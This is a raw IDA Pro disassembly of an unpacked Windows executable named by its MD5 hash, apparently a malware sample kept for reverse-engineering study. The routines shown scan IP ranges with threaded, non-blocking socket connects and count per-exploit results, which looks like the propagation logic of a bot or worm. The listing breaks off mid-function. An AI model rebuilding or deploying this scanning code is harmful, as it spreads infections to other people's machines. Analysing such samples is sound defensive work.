;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	E5E2BDA518B2EDBE4939E0481CE12FB9

; File Name   :	u:\work\e5e2bda518b2edbe4939e0481ce12fb9_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	400000
; Section 1. (virtual address 00001000)
; Virtual size			: 00084000 ( 540672.)
; Section size in file		: 00084000 ( 540672.)
; Offset to raw	data for section: 00001000
; Flags	F0000060: Text Data Shareable Executable Readable Writable
; Alignment	: default


unicode		macro page,string,zero
		irpc c,<string>
		db '&c', page
		endm
		ifnb <zero>
		dw zero
		endif
endm

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
_nsp0		segment	para public 'CODE' use32
		assume cs:_nsp0
		;org 401000h
		assume es:nothing, ss:nothing, ds:_nsp0, fs:nothing, gs:nothing

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401000	proc near		; CODE XREF: sub_4077FD+373Fp
					; DATA XREF: .nsp1:00485040o ...

var_400		= byte ptr -400h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 400h
		push	ebx
		push	edi
		lea	eax, [ebp+var_200]
		push	offset unk_41A348
		push	eax
		xor	ebx, ebx
		call	sub_40C6C3
		cmp	dword_41A068, ebx
		pop	ecx
		pop	ecx
		mov	edi, 200h
		jz	short loc_40106E
		push	esi
		mov	esi, offset dword_41A070


loc_401033:				; CODE XREF: sub_401000+6Bj
		mov	eax, [esi]
		add	ebx, eax
		push	eax
		lea	eax, [esi-26h]
		push	eax
		lea	eax, [ebp+var_400]
		push	offset aSD	; " %s:	%d,"
		push	eax
		call	sub_40C6C3
		lea	eax, [ebp+var_400]
		push	edi
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_40C5A0
		add	esi, 3Ch
		add	esp, 1Ch
		cmp	dword ptr [esi-8], 0
		jnz	short loc_401033
		pop	esi


loc_40106E:				; CODE XREF: sub_401000+2Bj
		push	dword_481BE8
		call	sub_40B6FE
		push	eax
		push	ebx
		lea	eax, [ebp+var_400]
		push	offset aTotalDInS_ ; " Total: %d in %s."
		push	eax
		call	sub_40C6C3
		lea	eax, [ebp+var_400]
		push	edi
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_40C5A0
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_404555
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_403145
		add	esp, 38h
		pop	edi
		pop	ebx
		leave
		retn
sub_401000	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4010CA	proc near		; CODE XREF: sub_4077FD+3251p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	7
		call	sub_40C2A4
		test	eax, eax
		pop	ecx
		jle	short loc_401106
		mov	eax, [ebp+arg_C]
		push	dword_422AC0[eax*8]
		call	dword_42D900	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_200]
		push	offset dword_41A38C
		push	eax
		call	sub_40C6C3
		add	esp, 0Ch
		jmp	short loc_401119
; ---------------------------------------------------------------------------


loc_401106:				; CODE XREF: sub_4010CA+13j
		lea	eax, [ebp+var_200]
		push	offset unk_41A36C
		push	eax
		call	sub_40C6C3
		pop	ecx
		pop	ecx


loc_401119:				; CODE XREF: sub_4010CA+3Aj
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_404555
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_403145
		add	esp, 18h
		leave
		retn
sub_4010CA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401141	proc near		; CODE XREF: sub_401704+4Fp

var_20C		= dword	ptr -20Ch
var_204		= byte ptr -204h
var_4		= byte ptr -4
arg_10		= byte ptr  18h
arg_90		= byte ptr  98h
arg_110		= dword	ptr  118h
arg_130		= dword	ptr  138h
arg_138		= dword	ptr  140h

		push	ebp
		mov	ebp, esp
		sub	esp, 204h
		mov	eax, [ebp+arg_130]
		push	ebx
		cmp	eax, 0FFFFFFFFh
		jz	loc_4013B5
		imul	eax, 3Ch
		xor	ebx, ebx
		cmp	dword_41A074[eax], ebx
		jz	loc_4013B5
		push	4
		call	sub_40C2A4
		test	eax, eax
		pop	ecx
		jnz	loc_4013B5
		mov	eax, dword_41DE40
		push	esi
		push	edi
		mov	edi, offset dword_423D9C
		push	104h
		push	edi
		push	ebx
		mov	dword_423FAC, eax
		mov	dword_423FA8, ebx
		call	dword_41804C	; GetModuleFileNameA
		push	103h
		mov	esi, offset dword_423EA0
		push	offset byte_41DF08
		push	esi
		call	sub_40C720
		mov	eax, [ebp+arg_110]
		add	esp, 0Ch
		cmp	[ebp+arg_90], bl
		mov	dword_423D98, eax
		mov	eax, [ebp+arg_138]
		push	7Fh
		mov	dword_424030, eax
		jnz	short loc_4011F1
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_423FB0
		call	sub_40C720
		mov	dword_424034, 1
		jmp	short loc_401208
; ---------------------------------------------------------------------------


loc_4011F1:				; CODE XREF: sub_401141+94j
		lea	eax, [ebp+arg_90]
		push	eax
		push	offset dword_423FB0
		call	sub_40C720
		mov	dword_424034, ebx


loc_401208:				; CODE XREF: sub_401141+AEj
		add	esp, 0Ch
		lea	eax, [ebp+var_204]
		push	esi
		push	edi
		push	dword_423FAC
		push	offset unk_41A458
		push	eax
		call	sub_40C6C3
		push	ebx
		lea	eax, [ebp+var_204]
		push	4
		push	eax
		call	sub_40C062
		add	esp, 20h
		mov	dword_423FA4, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_423D98
		push	offset sub_40BB81
		push	ebx
		push	ebx
		call	dword_418048	; CreateThread
		mov	ecx, dword_423FA4
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_42F41C[ecx], eax
		jnz	loc_401307
		call	dword_418044	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_41A420
		push	eax
		call	sub_40C6C3
		add	esp, 0Ch


loc_401287:				; CODE XREF: sub_401141+1CEj
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_403145
		mov	edi, offset dword_424044
		mov	[esp+20Ch+var_20C], 104h
		push	edi
		push	ebx
		mov	dword_424250, ebx
		call	dword_41804C	; GetModuleFileNameA
		push	103h
		mov	esi, offset dword_424148
		push	offset byte_41DF08
		push	esi
		call	sub_40C720
		mov	eax, [ebp+arg_110]
		add	esp, 0Ch
		cmp	[ebp+arg_90], bl
		mov	dword_424040, eax
		mov	eax, [ebp+arg_138]
		push	7Fh
		mov	dword_4242D8, eax
		jnz	short loc_401314
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_424258
		call	sub_40C720
		mov	dword_4242DC, 1
		jmp	short loc_40132B
; ---------------------------------------------------------------------------


loc_4012FF:				; CODE XREF: sub_401141+1CCj
		push	32h
		call	dword_418040	; Sleep


loc_401307:				; CODE XREF: sub_401141+125j
		cmp	dword_424038, ebx
		jz	short loc_4012FF
		jmp	loc_401287
; ---------------------------------------------------------------------------


loc_401314:				; CODE XREF: sub_401141+1A2j
		lea	eax, [ebp+arg_90]
		push	eax
		push	offset dword_424258
		call	sub_40C720
		mov	dword_4242DC, ebx


loc_40132B:				; CODE XREF: sub_401141+1BCj
		add	esp, 0Ch
		lea	eax, [ebp+var_204]
		push	esi
		push	edi
		push	dword_424254
		push	offset dword_41A3E0
		push	eax
		call	sub_40C6C3
		push	ebx
		lea	eax, [ebp+var_204]
		push	5
		push	eax
		call	sub_40C062
		add	esp, 20h
		mov	dword_42424C, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_424040
		push	offset sub_403E11
		push	ebx
		push	ebx
		call	dword_418048	; CreateThread
		mov	ecx, dword_42424C
		pop	edi
		imul	ecx, 234h
		cmp	eax, ebx
		pop	esi
		mov	dword_42F41C[ecx], eax
		jnz	short loc_4013C0
		call	dword_418044	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_204]
		push	offset dword_41A3AC
		push	eax
		call	sub_40C6C3
		add	esp, 0Ch


loc_4013A8:				; CODE XREF: sub_401141+287j
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_403145
		pop	ecx


loc_4013B5:				; CODE XREF: sub_401141+13j
					; sub_401141+24j ...
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_4013B8:				; CODE XREF: sub_401141+285j
		push	32h
		call	dword_418040	; Sleep


loc_4013C0:				; CODE XREF: sub_401141+24Aj
		cmp	dword_4242E0, ebx
		jz	short loc_4013B8
		jmp	short loc_4013A8
sub_401141	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4013CA	proc near		; CODE XREF: sub_40154B:loc_4015A7p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		push	esi
		push	4
		lea	esi, ds:422AC0h[eax*8]
		lea	eax, [ebp+arg_0]
		push	esi
		push	eax
		call	near ptr sub_40C820
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	dword_42D7BC	; htonl
		inc	eax
		push	eax
		mov	[ebp+arg_0], eax
		call	dword_42D874	; htonl
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+arg_0]
		push	4
		push	eax
		push	esi
		call	near ptr sub_40C820
		mov	eax, [esi]
		add	esp, 0Ch
		pop	esi
		pop	ebp
		retn
sub_4013CA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401412	proc near		; CODE XREF: sub_40154B+54p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		or	esi, 0FFFFFFFFh
		push	[ebp+arg_0]
		mov	[ebp+var_C], esi
		mov	[ebp+var_8], esi
		mov	[ebp+var_4], esi
		mov	[ebp+var_10], esi
		call	sub_40CBC0
		cmp	eax, 0Fh
		pop	ecx
		jbe	short loc_40143A
		xor	eax, eax
		jmp	short loc_4014AB
; ---------------------------------------------------------------------------


loc_40143A:				; CODE XREF: sub_401412+22j
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	[ebp+arg_0]
		call	sub_40CB7D
		add	esp, 18h
		cmp	[ebp+var_C], esi
		jnz	short loc_401467
		call	sub_40CB5F
		mov	[ebp+var_C], eax


loc_401467:				; CODE XREF: sub_401412+4Bj
		cmp	[ebp+var_8], esi
		jnz	short loc_401474
		call	sub_40CB5F
		mov	[ebp+var_8], eax


loc_401474:				; CODE XREF: sub_401412+58j
		cmp	[ebp+var_4], esi
		jnz	short loc_401481
		call	sub_40CB5F
		mov	[ebp+var_4], eax


loc_401481:				; CODE XREF: sub_401412+65j
		mov	eax, [ebp+var_10]
		cmp	eax, esi
		jnz	short loc_40148D
		call	sub_40CB5F


loc_40148D:				; CODE XREF: sub_401412+74j
		shl	eax, 8
		add	eax, [ebp+var_4]
		mov	ecx, [ebp+var_C]
		shl	eax, 8
		add	eax, [ebp+var_8]
		shl	eax, 8
		add	eax, ecx
		mov	ecx, [ebp+arg_4]
		mov	dword_422AC0[ecx*8], eax


loc_4014AB:				; CODE XREF: sub_401412+26j
		pop	esi
		leave
		retn
sub_401412	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4014AE	proc near		; CODE XREF: sub_40154B+7Ep
					; sub_403CA3+30p

var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 120h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		xor	ebx, ebx
		inc	edi
		push	ebx
		push	edi
		push	2
		mov	[ebp+var_4], edi
		call	dword_42D8F4	; socket
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_4014D7
		xor	eax, eax
		jmp	short loc_401546
; ---------------------------------------------------------------------------


loc_4014D7:				; CODE XREF: sub_4014AE+23j
		mov	eax, [ebp+arg_0]
		push	[ebp+arg_4]
		mov	[ebp+var_1C], 2
		mov	[ebp+var_18], eax
		call	dword_42D878	; htons
		mov	[ebp+var_1A], ax
		lea	eax, [ebp+var_4]
		push	eax
		push	8004667Eh
		push	esi
		call	dword_42D910	; ioctlsocket
		lea	eax, [ebp+var_1C]
		push	10h
		push	eax
		push	esi
		call	dword_42D824	; connect
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_8], ebx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_120]
		push	ebx
		push	eax
		push	ebx
		push	ebx
		mov	[ebp+var_11C], esi
		mov	[ebp+var_120], edi
		call	dword_42D860	; select
		push	esi
		mov	edi, eax
		call	dword_42D90C	; closesocket
		xor	eax, eax
		cmp	edi, ebx
		setnle	al


loc_401546:				; CODE XREF: sub_4014AE+27j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4014AE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40154B	proc near		; DATA XREF: sub_401704+13Bo

var_2C8		= byte ptr -2C8h
var_208		= dword	ptr -208h
var_204		= byte ptr -204h
var_1F4		= byte ptr -1F4h
var_174		= byte ptr -174h
var_168		= dword	ptr -168h
var_164		= dword	ptr -164h
var_160		= dword	ptr -160h
var_158		= dword	ptr -158h
var_154		= dword	ptr -154h
var_14C		= byte ptr -14Ch
var_13C		= byte ptr -13Ch
var_BC		= byte ptr -0BCh
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_28		= dword	ptr -28h
var_1C		= dword	ptr -1Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 2C8h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	53h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_14C]
		rep movsd
		mov	esi, [ebp+var_28]
		mov	dword ptr [eax+148h], 1
		mov	[ebp+arg_0], esi
		call	dword_41805C	; GetTickCount
		push	eax
		call	sub_40CB55
		mov	ebx, esi
		pop	ecx
		imul	ebx, 234h
		jmp	loc_4016E1
; ---------------------------------------------------------------------------


loc_401591:				; CODE XREF: sub_40154B+1A4j
		cmp	[ebp+var_C], 0
		push	eax
		jz	short loc_4015A7
		lea	eax, [ebp+var_14C]
		push	eax
		call	sub_401412
		pop	ecx
		jmp	short loc_4015AC
; ---------------------------------------------------------------------------


loc_4015A7:				; CODE XREF: sub_40154B+4Bj
		call	sub_4013CA


loc_4015AC:				; CODE XREF: sub_40154B+5Aj
		mov	edi, eax
		pop	ecx
		lea	eax, [ebp+var_2C8]
		push	eax
		lea	eax, dword_42F208[ebx]
		push	eax
		call	sub_40C6C3
		push	[ebp+var_34]
		push	[ebp+var_38]
		push	edi
		call	sub_4014AE
		add	esp, 14h
		cmp	eax, 1
		jnz	loc_4016D6
		cmp	[ebp+var_1C], 0FFFFFFFFh
		jnz	short loc_40162B
		mov	edi, offset dword_423D80
		push	edi
		call	dword_418058	; RtlEnterCriticalSection
		cmp	[ebp+var_10], 0
		jnz	short loc_40161F
		cmp	[ebp+var_BC], 0
		push	1
		push	[ebp+var_14]
		lea	eax, [ebp+var_2C8]
		push	eax
		lea	eax, [ebp+var_BC]
		jnz	short loc_401613
		lea	eax, [ebp+var_13C]


loc_401613:				; CODE XREF: sub_40154B+C0j
		push	eax
		push	[ebp+var_3C]
		call	sub_404555
		add	esp, 14h


loc_40161F:				; CODE XREF: sub_40154B+A5j
		push	edi
		call	dword_418054	; RtlLeaveCriticalSection
		jmp	loc_4016D6
; ---------------------------------------------------------------------------


loc_40162B:				; CODE XREF: sub_40154B+93j
		push	edi
		call	dword_42D900	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_40C6C3
		mov	eax, [ebp+var_1C]
		imul	eax, 3Ch
		add	eax, offset dword_41A040
		push	eax
		lea	eax, [ebp+var_174]
		push	eax
		call	sub_40C6C3
		add	esp, 10h
		cmp	[ebp+var_BC], 0
		lea	eax, [ebp+var_BC]
		jnz	short loc_40166F
		lea	eax, [ebp+var_13C]


loc_40166F:				; CODE XREF: sub_40154B+11Cj
		push	eax
		lea	eax, [ebp+var_1F4]
		push	eax
		call	sub_40C6C3
		mov	eax, [ebp+var_3C]
		pop	ecx
		mov	[ebp+var_208], eax
		mov	eax, [ebp+var_14]
		mov	[ebp+var_158], eax
		mov	eax, [ebp+var_10]
		mov	[ebp+var_154], eax
		mov	eax, [ebp+var_38]
		mov	[ebp+var_168], eax
		mov	eax, [ebp+var_1C]
		pop	ecx
		mov	[ebp+var_160], eax
		imul	eax, 3Ch
		sub	esp, 0BCh
		mov	[ebp+var_164], esi
		lea	esi, [ebp+var_208]
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	off_41A06C[eax]
		mov	esi, [ebp+arg_0]
		add	esp, 0BCh


loc_4016D6:				; CODE XREF: sub_40154B+89j
					; sub_40154B+DBj
		push	7D0h
		call	dword_418040	; Sleep


loc_4016E1:				; CODE XREF: sub_40154B+41j
		mov	eax, dword_42F40C[ebx]
		cmp	dword_422AC4[eax*8], 0
		jnz	loc_401591
		push	esi
		call	sub_40C378
		pop	ecx
		push	0
		call	dword_418050	; ExitThread
sub_40154B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401704	proc near		; DATA XREF: sub_4077FD+1EE3o
					; sub_4077FD+3045o

var_24C		= dword	ptr -24Ch
var_20C		= byte ptr -20Ch
var_14C		= byte ptr -14Ch
var_13C		= byte ptr -13Ch
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 20Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	53h
		xor	ebx, ebx
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_14C]
		inc	ebx
		rep movsd
		mov	[eax+144h], ebx
		lea	eax, [ebp+var_14C]
		push	eax
		call	dword_42D8B4	; inet_addr
		mov	ecx, [ebp+var_2C]
		sub	esp, 14Ch
		lea	esi, [ebp+var_14C]
		push	53h
		mov	dword_422AC0[ecx*8], eax
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_401141
		push	7
		call	sub_40C2A4
		add	esp, 150h
		cmp	eax, ebx
		jnz	short loc_4017D2
		mov	esi, offset dword_423D80
		push	esi
		call	dword_418064	; RtlDeleteCriticalSection
		push	80000400h
		push	esi
		call	dword_418060	; InitializeCriticalSectionAndSpinCount
		test	eax, eax
		jnz	short loc_4017D2
		lea	eax, [ebp+var_20C]
		push	offset unk_41A55C
		push	eax
		call	sub_40C6C3
		xor	ebx, ebx
		pop	ecx
		cmp	[ebp+var_10], ebx
		pop	ecx
		jnz	short loc_4017BC
		push	ebx
		lea	eax, [ebp+var_20C]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_3C]
		call	sub_404555
		add	esp, 14h


loc_4017BC:				; CODE XREF: sub_401704+99j
		lea	eax, [ebp+var_20C]
		push	eax
		call	sub_403145
		pop	ecx
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------


loc_4017D2:				; CODE XREF: sub_401704+63j
					; sub_401704+7Fj
		mov	eax, [ebp+var_2C]
		mov	esi, dword_418040
		mov	edi, ebx
		mov	dword_422AC4[eax*8], ebx
		xor	ebx, ebx
		cmp	[ebp+var_20], 1
		jb	loc_401894


loc_4017F0:				; CODE XREF: sub_401704+18Aj
		push	edi
		lea	eax, [ebp+var_14C]
		push	[ebp+var_2C]
		mov	[ebp+var_24], edi
		push	[ebp+var_38]
		push	eax
		lea	eax, [ebp+var_20C]
		push	offset unk_41A524
		push	eax
		call	sub_40C6C3
		push	ebx
		lea	eax, [ebp+var_20C]
		push	7
		push	eax
		call	sub_40C062
		mov	[ebp+var_28], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_2C]
		add	esp, 24h
		mov	dword_42F40C[eax], ecx
		lea	eax, [ebp+var_14C]
		push	ebx
		push	ebx
		push	eax
		push	offset sub_40154B
		push	ebx
		push	ebx
		call	dword_418048	; CreateThread
		mov	ecx, [ebp+var_28]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_42F41C[ecx], eax
		jnz	short loc_4018AB
		call	dword_418044	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_20C]
		push	offset unk_41A4E8
		push	eax
		call	sub_40C6C3
		lea	eax, [ebp+var_20C]
		push	eax
		call	sub_403145
		add	esp, 10h


loc_401886:				; CODE XREF: sub_401704+1ACj
		push	1Eh
		call	esi	; Sleep
		inc	edi
		cmp	edi, [ebp+var_20]
		jbe	loc_4017F0


loc_401894:				; CODE XREF: sub_401704+E6j
		cmp	[ebp+var_30], ebx
		jz	short loc_4018B9
		mov	eax, [ebp+var_30]
		imul	eax, 0EA60h
		push	eax
		call	esi	; Sleep
		jmp	short loc_4018C6
; ---------------------------------------------------------------------------


loc_4018A7:				; CODE XREF: sub_401704+1AAj
		push	1Eh
		call	esi	; Sleep


loc_4018AB:				; CODE XREF: sub_401704+159j
		cmp	[ebp+var_4], ebx
		jz	short loc_4018A7
		jmp	short loc_401886
; ---------------------------------------------------------------------------


loc_4018B2:				; CODE XREF: sub_401704+1C0j
		push	7D0h
		call	esi	; Sleep


loc_4018B9:				; CODE XREF: sub_401704+193j
		mov	eax, [ebp+var_2C]
		cmp	dword_422AC4[eax*8], 1
		jz	short loc_4018B2


loc_4018C6:				; CODE XREF: sub_401704+1A1j
		push	[ebp+var_30]
		mov	eax, [ebp+var_2C]
		push	[ebp+var_38]
		mov	eax, dword_422AC0[eax*8]
		push	eax
		call	dword_42D900	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_20C]
		push	offset unk_41A4A8
		push	eax
		call	sub_40C6C3
		add	esp, 14h
		cmp	[ebp+var_10], ebx
		jnz	short loc_401914
		push	ebx
		lea	eax, [ebp+var_20C]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_3C]
		call	sub_404555
		add	esp, 14h


loc_401914:				; CODE XREF: sub_401704+1F1j
		lea	eax, [ebp+var_20C]
		push	eax
		call	sub_403145
		mov	eax, [ebp+var_2C]
		mov	[esp+24Ch+var_24C], 0BB8h
		mov	dword_422AC4[eax*8], ebx
		call	esi	; Sleep
		push	7
		call	sub_40C2A4
		cmp	eax, 1
		pop	ecx
		jnz	short loc_40194B
		push	offset dword_423D80
		call	dword_418064	; RtlDeleteCriticalSection


loc_40194B:				; CODE XREF: sub_401704+23Aj
		push	[ebp+var_2C]
		call	sub_40C378
		pop	ecx
		push	ebx
		call	dword_418050	; ExitThread
sub_401704	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40195B	proc near		; CODE XREF: sub_401BC7+Ep
					; sub_401BC7+33p ...
		mov	eax, ecx
		and	dword ptr [eax+4], 0
		and	dword ptr [eax], 0
		retn
sub_40195B	endp


; =============== S U B	R O U T	I N E =======================================



sub_401965	proc near		; CODE XREF: sub_401BC7+11Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		push	edi
		push	ebx
		mov	esi, ecx
		call	sub_40CCCF
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_401997
		push	ebx
		push	0
		push	edi
		call	sub_40CC40
		push	ebx
		push	[esp+1Ch+arg_0]
		push	edi
		call	near ptr sub_40C820
		add	esp, 18h
		mov	[esi+4], ebx
		mov	[esi], edi


loc_401997:				; CODE XREF: sub_401965+14j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_401965	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40199F	proc near		; CODE XREF: sub_401A91+18p
					; sub_401B0B+16p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, ecx
		mov	ecx, [ebp+arg_C]
		push	esi
		push	edi
		lea	edi, [eax+ecx]
		push	edi
		call	sub_40CCCF
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jz	short loc_4019EB
		push	edi
		push	0
		push	esi
		call	sub_40CC40
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	esi
		call	near ptr sub_40C820
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_4]
		add	eax, esi
		push	[ebp+arg_8]
		push	eax
		call	near ptr sub_40C820
		add	esp, 24h
		mov	[ebx+4], edi
		mov	[ebx], esi


loc_4019EB:				; CODE XREF: sub_40199F+1Cj
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		pop	ebp
		retn	10h
sub_40199F	endp


; =============== S U B	R O U T	I N E =======================================



sub_4019F4	proc near		; CODE XREF: sub_401A91+5Ep
					; sub_401A91+6Fp ...
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_401A04
		push	eax
		call	sub_40CD81
		pop	ecx


loc_401A04:				; CODE XREF: sub_4019F4+7j
		and	dword ptr [esi+4], 0
		and	dword ptr [esi], 0
		pop	esi
		retn
sub_4019F4	endp


; =============== S U B	R O U T	I N E =======================================



sub_401A0D	proc near		; CODE XREF: sub_401A91+20p
					; sub_401B6C+8p ...
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		mov	eax, [esi+4]
		cmp	eax, 0FFFFh
		jge	short loc_401A37
		xor	ebx, ebx
		cmp	eax, 7Fh
		setnl	bl
		lea	ebx, [ebx+ebx+1]
		add	eax, ebx
		push	eax
		call	sub_40CCCF
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_401A3B


loc_401A37:				; CODE XREF: sub_401A0D+Dj
		xor	al, al
		jmp	short loc_401A8D
; ---------------------------------------------------------------------------


loc_401A3B:				; CODE XREF: sub_401A0D+28j
		mov	eax, [esi+4]
		add	eax, ebx
		push	eax
		push	0
		push	edi
		call	sub_40CC40
		add	esp, 0Ch
		cmp	ebx, 1
		jnz	short loc_401A5B
		mov	al, [esi+4]
		mov	[edi], al
		lea	eax, [edi+1]
		jmp	short loc_401A70
; ---------------------------------------------------------------------------


loc_401A5B:				; CODE XREF: sub_401A0D+42j
		mov	byte ptr [edi],	82h
		mov	eax, [esi+4]
		sar	eax, 8
		mov	[edi+1], al
		mov	al, [esi+4]
		mov	[edi+2], al
		lea	eax, [edi+3]


loc_401A70:				; CODE XREF: sub_401A0D+4Cj
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		push	eax
		call	near ptr sub_40C820
		add	esp, 0Ch
		push	dword ptr [esi]
		call	sub_40CD81
		add	[esi+4], ebx
		pop	ecx
		mov	[esi], edi
		mov	al, 1


loc_401A8D:				; CODE XREF: sub_401A0D+2Cj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_401A0D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401A91	proc near		; CODE XREF: sub_401BC7+89p
					; sub_401BC7+E3p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [ebp+var_8]
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		push	1
		push	offset dword_4242EC
		call	sub_40199F
		lea	ecx, [ebp+var_8]
		call	sub_401A0D
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		call	sub_40CCCF
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_401ACB
		xor	al, al
		jmp	short loc_401B07
